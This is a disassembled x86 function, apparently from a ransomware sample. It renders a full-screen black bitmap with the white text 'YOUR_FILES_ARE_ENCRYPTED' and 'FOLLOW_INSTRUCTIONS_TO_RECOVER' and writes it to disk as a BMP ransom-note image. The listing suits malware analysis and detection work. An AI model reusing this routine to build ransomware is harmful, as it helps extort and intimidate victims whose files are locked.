Function at 0x402340
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x45f200]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 0
mov dword [ebp - 0x8c], ecx
call esi
mov edi, eax
push 1
mov dword [ebp - 0x5c], edi
call esi
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0x28
mov esi, eax
movq qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x50], xmm0
neg eax
mov dword [ebp - 0x7c], esi
push 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], 0x200001
mov dword [ebp - 0x44], 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
mov ebx, eax
lea eax, [ebp - 0x58]
push 0
push eax
push 0
lea eax, [ebp - 0x54]
push eax
push ebx
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [ebp - 0x84], eax
test eax, eax
je 0x402630
push eax
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, eax
lea eax, [ebp - 0x28]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_FillRect]
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0xffffff
push ebx
call dword [sym.imp.GDI32.dll_SetTextColor]
push 1
push ebx
call dword [sym.imp.GDI32.dll_SetBkMode]
push 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0
push str.YOUR_FILES_ARE_ENCRYPTED
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 0
movups xmmword [ebp - 0x74], xmm0
call fcn.004028e0
push str.Times_New_Roman
push 0
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x2bc
push 0
push 0
push 0
push 0x24
call dword [sym.imp.GDI32.dll_CreateFontW]
mov edi, eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
push edi
push ebx
call eax
cmp dword [ebp - 0x60], 7
lea ecx, [ebp - 0x74]
push dword [ebp - 0x64]
cmova ecx, dword [ebp - 0x74]
mov esi, eax
mov eax, dword [ebp - 0x7c]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x5c]
push ecx
mov ecx, dword [ebp - 0x78]
cdq
add ecx, 0xffffffd8
sub eax, edx
sar eax, 1
push ecx
mov dword [ebp - 0x88], eax
lea ecx, [eax - 0x96]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_TextOutW]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [ebp - 0x60]
cmp ecx, 7
jbe 0x402500
mov edx, dword [ebp - 0x74]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4024f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026b8
push ecx
push edx
call fcn.0042980f
add esp, 8
push 0x1e
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0
push str.FOLLOW_INSTRUCTIONS_TO_RECOVER
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 0
movups xmmword [ebp - 0x74], xmm0
call fcn.004028e0
push str.Times_New_Roman
push 0
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x2bc
push 0
push 0
push 0
push 0x24
call dword [sym.imp.GDI32.dll_CreateFontW]
mov edi, eax
push edi
push ebx
call esi
push dword [ebp - 0x64]
cmp dword [ebp - 0x60], 7
lea ecx, [ebp - 0x74]
mov esi, eax
mov eax, dword [ebp - 0x78]
cmova ecx, dword [ebp - 0x74]
add eax, 0x14
push ecx
push eax
mov eax, dword [ebp - 0x88]
add eax, 0xffffff38
push eax
push ebx
call dword [sym.imp.GDI32.dll_TextOutW]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [ebp - 0x60]
cmp ecx, 7
jbe 0x4025c8
mov edx, dword [ebp - 0x74]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4025be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026bd
push ecx
push edx
call fcn.0042980f
add esp, 8
mov edi, dword [ebp - 0x7c]
mov eax, 0x4d42
imul edi, dword [ebp - 0x5c]
mov word [ebp - 0x18], ax
mov dword [ebp - 0x12], 0
mov dword [ebp - 0xe], 0x36
shl edi, 2
lea eax, [edi + 0x36]
mov dword [ebp - 0x16], eax
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 0x14], 7
jbe 0x4025fd
mov eax, dword [eax]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5c], eax
cmp eax, 0xffffffff
jne 0x40264a
push dword [ebp - 0x80]
push ebx
call esi
push dword [ebp - 0x84]
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004297d1
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 8]
push 0
push ecx
push 0xe
lea ecx, [ebp - 0x18]
push ecx
push eax
call esi
push 0
lea eax, [ebp - 8]
push eax
push 0x28
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x5c]
call esi
push 0
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x58]
mov edi, dword [ebp - 0x5c]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x80]
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call eax
push dword [ebp - 0x84]
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004297d1
mov esp, ebp
pop ebp
ret
call fcn.0042e68f
call fcn.0042e68f
int3